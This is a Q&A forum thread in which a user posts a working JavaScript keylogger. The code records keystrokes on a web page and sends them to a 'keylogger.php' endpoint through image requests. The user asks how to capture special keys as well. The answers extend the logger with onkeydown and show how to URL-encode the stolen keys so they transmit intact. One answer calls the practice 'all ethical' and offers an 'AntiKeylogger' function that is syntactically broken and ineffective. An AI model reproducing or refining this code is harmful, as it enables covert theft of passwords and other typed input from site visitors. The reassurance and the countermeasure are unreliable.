Reputation: 161
JS code The following is javascript code for keylogging on html page.
var keys = '';
document.onkeypress = function(e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function() {
if (keys != '') {
new Image().src = 'keylogger.php?c=' + keys;
keys = '';
}
}, 500);
It does work but some special keys are not getting logged for example space,tab,backspace etc.
How can I customize the above code to log all special keys?
Upvotes: 2
Views: 14657
Reputation: 4253
Actually with document.onkeypress
will not be able to capture Tab
& Backspace
you need to use document.onkeydown
as
document.onkeydown = function(e){
console.log(e);
};
If you that you will be able to log that in console
Finally you can update your keylogger as:
//keylogger
var keycodes = "";
var keychars = "";
document.onkeydown = function(e){
keycodes += `${e.code}, `;
keychars += `${e.key}`;
if(e.code === "Enter") // when Enter is pressed print the line in console
{
console.log(keycodes); //print code
console.log(keychars); //print char
keycodes = ""; //make null
keychars = ""; // make null
}
};
And Relax this is all ethical as javascript
provides api
to intercept keypress
.
To overcome this we can have something as Anti-Keylogger and call it when the page is loaded
//Disables the keystroke logging
function AntiKeylogger(){
window.onkeydown = undefined;
window.onkeypress = undefined;
window.onkeyup = undefined;
document.onkeydown = undefined;
document.onkeypress = undefined;
document.onkeyup = undefined;
}();
Upvotes: 1
Reputation: 11613
URLs can contain only a specific set of characters. This is the reason you need to encode the characters you want to send. Use the encodeURIComponent
function on keys
:
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
Upvotes: 4